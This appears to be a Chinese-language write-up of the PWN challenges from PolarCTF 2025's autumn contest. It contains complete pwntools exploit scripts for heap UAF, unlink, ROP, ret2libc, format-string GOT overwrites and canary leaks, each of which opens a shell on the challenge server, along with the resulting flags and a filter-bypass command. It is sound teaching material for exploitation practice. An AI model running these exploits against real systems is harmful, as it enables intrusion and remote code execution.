发现秋季赛当时有一道关于 unlink 的题目没做,现在补上一篇完整的 writeup。
UAF
题目存在 UAF(Use After Free)和堆溢出漏洞。
利用思路是直接劫持 __malloc_hook 为 one_gadget 地址。需要注意的是,可能需要通过 __realloc_hook 来调整栈环境以满足 one_gadget 的执行条件。
首先通过逆向分析关键函数。edit_chunk 函数伪代码如下:

delete_chunk 函数伪代码如下:

漏洞利用脚本如下:
from pwn import *
from LibcSearcher import *
from struct import pack
from ctypes import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2101)
#p=process('./pwn1')
#p = process(['./ld-2.31.so','./pwn'], env = {'LD_PRELOAD' : './libc-2.31.so'})
#gdb.debug('./pwn','b main')
elf = ELF('./pwn1')
libc=ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
def create(idx,size):
p.sendlineafter(b"choice:\n", b"1")
p.sendlineafter(b"index:\n", str(idx))
p.sendlineafter(b"size:\n", str(size))
#p.sendafter(b"Content :\n", content)
def show(idx):
p.sendlineafter(b"choice:\n", b"4")
p.sendlineafter(b'index:\n',str(idx))
def free(idx):
p.sendlineafter(b"choice:\n", b"2")
p.sendlineafter(b'index:\n',str(idx))
def edit(idx, size, content):
p.sendlineafter(b"choice:\n", b"3")
p.sendlineafter(b"index:\n", str(idx))
p.sendlineafter(b"length:\n", str(size))
p.sendafter(b"content:\n", content)
create(0,0x68)#0
create(1,0x80)#1
create(2,0x68)#1
free(1) #unsortedbin
show(1)
main_arena_add88_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
main_arena_addr = main_arena_add88_addr - 88
malloc_hook_addr = main_arena_addr - 0x10
print(hex(malloc_hook_addr))
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
print(hex(libc_base))
realloc = libc_base + libc.sym['realloc']
#one_gadget = libc_base + 0x45226
one_gadget = libc_base + 0x4527a
#one_gadget = libc_base + 0xf03a4
#one_gadget = libc_base + 0xf1247
free(0)
edit(0,0x68,p64(malloc_hook_addr-0x23))
create(3,0x68)
create(4,0x68)
edit(4,0x68,b'a'*(0x13-0x8)+p64(one_gadget) + p64(realloc + 8))
create(5,0x10)
p.interactive()
执行利用脚本后成功获得 flag。

得到的 flag 是 flag{8ae1c88b-eb9f-487a-bf34-831a2b40be87}。
Call64
题目是一个 64 位静态编译的 ELF 文件,程序入口存在明显的栈溢出漏洞。

但是程序中没有现成的 /bin/sh 字符串,因此需要先构造 ROP 链来写入该字符串。利用思路是:
- 通过
read(0, buf, 8) 系统调用,向 .bss 或 .data 段的 buf 位置写入 /bin/sh 字符串。
- 然后构造
execve('/bin/sh', 0, 0) 的 ROP 链来获取 shell。
需要注意,payload 需要一次性通过 sendline 发送。另外,使用 ROPgadget 时,如果仅使用 --only 参数可能找不到 syscall; ret; 的地址,需要加上 --all 参数。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2146)
#p=process('./pwn2')
#p=gdb.debug('./pwn2','b main')
elf = ELF('./pwn2')
#libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
def debug():
gdb.attach(p)
pause()
buf = 0x6CA090
syscall_ret = 0x4677D5
pop_rax_ret = 0x41f804
pop_rdi_ret = 0x401636
pop_rdx_ret = 0x442cb6
pop_rsi_ret = 0x401757
#read(0, buf, 8)
payload = b'a'*(0x30+0x8)+p64(pop_rdi_ret)+p64(0)+p64(pop_rsi_ret)+p64(buf)+p64(pop_rdx_ret)+p64(0x8)+p64(pop_rax_ret)+p64(0)+p64(syscall_ret)
#execve('/bin/sh', 0, 0)
payload += p64(pop_rdi_ret)+p64(buf)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_ret)+p64(0)+p64(pop_rax_ret)+p64(0x3b)+p64(syscall_ret)
p.sendline(payload)
p.send(b'/bin/sh\x00')
p.interactive()
执行脚本后成功获得 flag。

得到的 flag 是 flag{861d1dad-2229-433f-9ad4-e5d921b80552}。
Shellcode
这是一道 32 位栈溢出题目,可以直接利用,无需编写 shellcode。libc 环境选择 libc6-i386_2.23-0ubuntu11.3_amd64。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2092)
#p=process('./pwn1')
#p=gdb.debug('./pwn1','b input')
elf = ELF('./pwn1')
#libc=ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.sym['main']
p.sendlineafter(b'hello hacker',b'')
payload = b'a'*(0x48+0x4)+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendlineafter(b'say hello:\n',payload)
puts_addr = u32(p.recv(4))
print(hex(puts_addr))
libc=LibcSearcher("puts",puts_addr)
libcbase=puts_addr-libc.dump("puts")
addr_system=libcbase+libc.dump("system")
addr_binsh=libcbase+libc.dump("str_bin_sh")
p.sendlineafter(b'hello hacker',b'')
payload = b'a'*(0x48+0x4)+p32(addr_system)+p32(main_addr)+p32(addr_binsh)
p.sendlineafter(b'say hello:\n',payload)
p.interactive()

得到的 flag 是 flag{dfdbc6ca-f417-4727-80fa-f64b9dffcc9d}。
NC
这更像是一道简单的命令交互题。首先需要输入 $0 进入特殊模式。

然后,命令过滤函数 parse_special_command 只允许特定的命令。

根据代码逻辑,输入 cat${IFS}flag 即可。

得到的 flag 是 flag{b1d269b6-bd02-4c1d-a313-48b68d9422a7}。
FMT
题目是一个存在循环的格式化字符串漏洞。

环境是 32 位 Ubuntu 16.04,libc 版本为 2.23。利用思路是:
- 泄露栈上的一个 libc 地址,计算
system 函数在 libc 中的地址。
- 将
printf_got 内的值(printf@libc)改为 system@libc。
- 最后输入
/bin/sh 即可 getshell。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2110)
#p=process('./pwn1')
#p=gdb.debug('./pwn1','b input')
elf = ELF('./pwn1')
libc=ELF('./libc6-i386_2.23-0ubuntu11.3_amd64.so')
def debug():
gdb.attach(p)
pause()
p.sendlineafter(b'Do you like PolarCTF?\n', b'yes')
p.sendlineafter(b'flag here!\n\n', b'%75$p')
p.recvuntil(b'0x')
libc_addr = int(p.recv(8),16)
libc_base = libc_addr - 0x18647
print(hex(libc_base))
system_addr = libc_base + libc.symbols['system']
printf_got = elf.got['printf'] #0x804A014
payload=fmtstr_payload(8,{printf_got:system_addr})
p.sendline(payload)
p.sendline(b'/bin/sh')
p.interactive()

得到的 flag 是 flag{688558ec-5344-4619-92de-498ba018282a}。
Can_libc
题目同样存在格式化字符串漏洞,可以用来泄露栈 Canary 和 libc 地址。

利用步骤:
- 利用格式化字符串泄露 Canary。
- 利用栈溢出,通过
puts 泄露 puts_got 的内容,从而计算 libc 基址。
- 选择正确的 libc 版本 (
libc6-i386_2.23-0ubuntu11.3_amd64)。
- 再次泄露 Canary 并构造最终的
ret2libc payload。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2081)
#p=process('./pwn')
#p=gdb.debug('./pwn','b main')
elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
p.sendlineafter(b'today!\n','%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil(b"\xf7")[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
p.sendlineafter(b'today!\n','%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(system)+p32(0xdeadbeef)+p32(binsh)
p.sendline(payload)
p.interactive()

得到的 flag 是 flag{2fe60c43-355e-4c16-bf47-043f5ebd8b21}。
Stack_of
题目逻辑非常简单,需要使输入字符串的第 109 个字节(索引从0开始)的值为字符 '1' (ASCII 0x31)。

因此,直接输入 110 个字符 '1' 即可触发后门函数。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2091)
#p=process('./stack_of')
#p=gdb.debug('./stack_of','b main')
#elf = ELF('./pwn')
#libc=ELF('./libc-2.23.so')
payload = b'\x31'*110
p.sendafter(b'trust.\n',payload)
p.interactive()

得到的 flag 是 flag{6b2fec75-9479-40ce-ab79-098af9fb43b5}。
Unlink1
这是一道在 Ubuntu 16.04 (libc 2.23) 环境下的经典 unlink 题目。程序给出了 system@plt,因此思路是利用 unlink 修改 BSS 段上 chunk 指针全局数组的值,将 free@got 的内容改为 system@plt,然后 free 掉一个内容是 /bin/sh 的块即可。

题目存在明显的堆溢出漏洞。
首先创建三个堆块,用于布局。


编辑 chunk 0,在其内部伪造一个 fake chunk,并利用溢出修改下一个 chunk 1 的堆块头部,将其 PREV_INUSE 标志位设为 0。
关于 fake chunk 的 fd、bk 设置需要绕过 unlink 宏的校验,具体原理可以参考相关文章。



释放 chunk 1。由于其 P 标志位为 0,会触发 unlink 向前合并。根据 prev_size 字段(0x30),会向前合并 0x30 大小的 fake chunk,读取 fd 和 bk 指针后将其合并并放入 bins 中。


此时查看 BSS 段的全局 chunk 指针数组,发现 chunk[0] 指向的地址被改变了。

现在 chunk[0] 指向了 &chunks[0] - 0x18 的位置。填充数据后,我们就可以控制 chunks[0] 指向的地址了。我们将其改为 free_got 的地址。

然后编辑 chunk 0,就相当于直接修改 free_got 的值,将其改为 system@plt 的地址。

最后,编辑用于分割 top chunk 的 chunk 2,将其内容改为 /bin/sh,然后 free(2) 即可(此时 free 已被替换为 system)。


利用脚本如下:
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
#p = remote('1.95.36.136', 2139)
p=process('./pwn1')
#p=gdb.debug('./pwn2','b main')
elf = ELF('./pwn1')
libc=ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
chunk_addr = 0x6020C0
fd = chunk_addr - 0x18
bk = chunk_addr - 0x10
system_plt = elf.plt['system']
free_got = elf.got['free']
def add(idx, size):
p.sendlineafter('> ', '1')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Size: ', str(size))
def edit(idx, content):
p.sendlineafter('> ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendafter('Content: ', content)
def free(idx):
p.sendlineafter('> ', '3')
p.sendlineafter('Index: ', str(idx))
add(0, 0x30)
add(1, 0x80)
add(2, 0x10)
payload = p64(0)+p64(0x20)+p64(fd)+p64(bk)+p64(0x20)+p64(0xdeadbeef)+p64(0x30)+p64(0x90)
edit(0, payload)
free(1)
payload = p64(0)*3 + p64(free_got)
edit(0, payload)
edit(0, p64(system_plt))
edit(2, b'/bin/sh\x00')
free(2)
p.interactive()

得到的 flag 是 flag{eb70c87a-877c-4519-8295-23f7970bb9b7}。
Unlink2
这道题与前面的 unlink1 非常相似,区别在于没有给出 system@plt。因此我们需要泄露一个 libc 地址来获取 system 函数在 libc 中的地址。
前面的步骤完全一致,直到 unlink 合并后 chunk[0] 指向 &chunks[0] - 0x18 的位置。

我们将 chunks[0] 和 chunks[1] 覆盖为 free_got 和 puts_got 的地址。

编辑 chunk 0(即编辑 free_got 的值),使其指向 puts@plt。那么执行 free(1) 时就等同于 puts(puts_got),从而泄露 puts 函数在 libc 中的地址,进而计算出 system 的地址。

获得 system 地址后,再次编辑 chunk 0(即编辑 free_got 的值),将其改为 system 的地址。

最后,给 chunk 2 赋值 /bin/sh,然后 free(2) 即相当于 system('/bin/sh')。


完整的利用脚本如下:
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'amd64', os = 'linux')
p = remote('1.95.36.136', 2139)
#p=process('./pwn1')
#p=gdb.debug('./pwn2','b main')
elf = ELF('./pwn1')
libc=ELF('./libc.so.6')
def debug():
gdb.attach(p)
pause()
chunk_addr = 0x6020C0
fd = chunk_addr - 0x18
bk = chunk_addr - 0x10
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
free_got = elf.got['free']
def add(idx, size):
p.sendlineafter('> ', '1')
p.sendlineafter('Index: ', str(idx))
p.sendlineafter('Size: ', str(size))
def edit(idx, content):
p.sendlineafter('> ', '2')
p.sendlineafter('Index: ', str(idx))
p.sendafter('Content: ', content)
def free(idx):
p.sendlineafter('> ', '3')
p.sendlineafter('Index: ', str(idx))
add(0, 0x30)
add(1, 0x80)
add(2, 0x10)
payload = p64(0)+p64(0x20)+p64(fd)+p64(bk)+p64(0x20)+p64(0xdeadbeef)+p64(0x30)+p64(0x90)
edit(0, payload)
free(1)
payload = p64(0)*3 + p64(free_got) + p64(puts_got)
edit(0, payload)
edit(0, p64(puts_plt))
free(1)
puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
libc_base=puts_addr-libc.symbols['puts']
system_libc=libc_base+libc.symbols['system']
edit(0, p64(system_libc))
edit(2, b'/bin/sh\x00')
free(2)
p.interactive()

得到的 flag 是 flag{51d0bfd3-13d8-4233-838b-9a14e204f416}。
HH
题目包含多处格式化字符串漏洞,用于修改全局变量的值,以及一处栈溢出。
首先,需要通过两处格式化字符串漏洞修改全局变量 hh 和 h 的值,使其满足条件,从而能够执行到最后的 wel() 函数。


wel() 函数中,先有一个格式化字符串漏洞用于泄露 Canary,然后是一个栈溢出漏洞。

利用思路是:
- 利用前两处格式化字符串漏洞,修改全局变量。
- 在
wel() 函数中,利用格式化字符串泄露 Canary。
- 利用栈溢出,通过
puts 泄露 puts_got 地址,计算 libc 基址。
- 再次执行流程,泄露 Canary 并构造最终的
ret2libc payload。
from pwn import *
from LibcSearcher import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p = remote('1.95.36.136', 2118)
#p=process('./fmt')
#p=gdb.debug('./fmt','b wel')
elf = ELF('./fmt')
#libc=ELF('./libc-2.23.so')
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
hh_addr = 0x804A06C
p.sendlineafter(b'wel\n',p32(hh_addr)+b'%6$n')
h_addr = 0x804A070
p.sendlineafter(b'welcome\n',p32(h_addr)+b'%1276x%6$n')
p.sendlineafter(b'Welcome !!!\n',b'%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
print(hex(canary))
p.recv()
payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(puts_plt)+p32(main_addr)+p32(puts_got)
p.sendline(payload)
puts_addr = u32(p.recvuntil(b"\xf7")[-4:])
print(hex(puts_addr))
libc = LibcSearcher('puts', puts_addr)
libc_base = puts_addr - libc.dump('puts')
system = libc_base + libc.dump('system')
binsh = libc_base + libc.dump('str_bin_sh')
p.sendlineafter(b'wel\n',p32(hh_addr)+b'%6$n')
p.sendlineafter(b'welcome\n',p32(h_addr)+b'%1276x%6$n')
p.sendlineafter(b'Welcome !!!\n',b'%31$p')
p.recvuntil(b'0x')
canary = int(p.recv(8),16)
print(hex(canary))
p.recv()
payload = b'a'*0x64+p32(canary)+b'a'*0xC+p32(system)+p32(0xdeadbeef)+p32(binsh)
p.sendline(payload)
p.interactive()

得到的 flag 是 flag{36b42604-0290-4144-a1ec-a62ed4476215}。
以上就是本次 PolarCTF 2025 秋季个人挑战赛 PWN 方向的全部题目解析。这些题目涵盖了 UAF、堆溢出、格式化字符串、栈溢出、unlink 等多种常见的 二进制漏洞利用技术,是很好的学习与实践材料。希望这篇详尽的题解能帮助你更好地理解这些漏洞的原理与利用方法。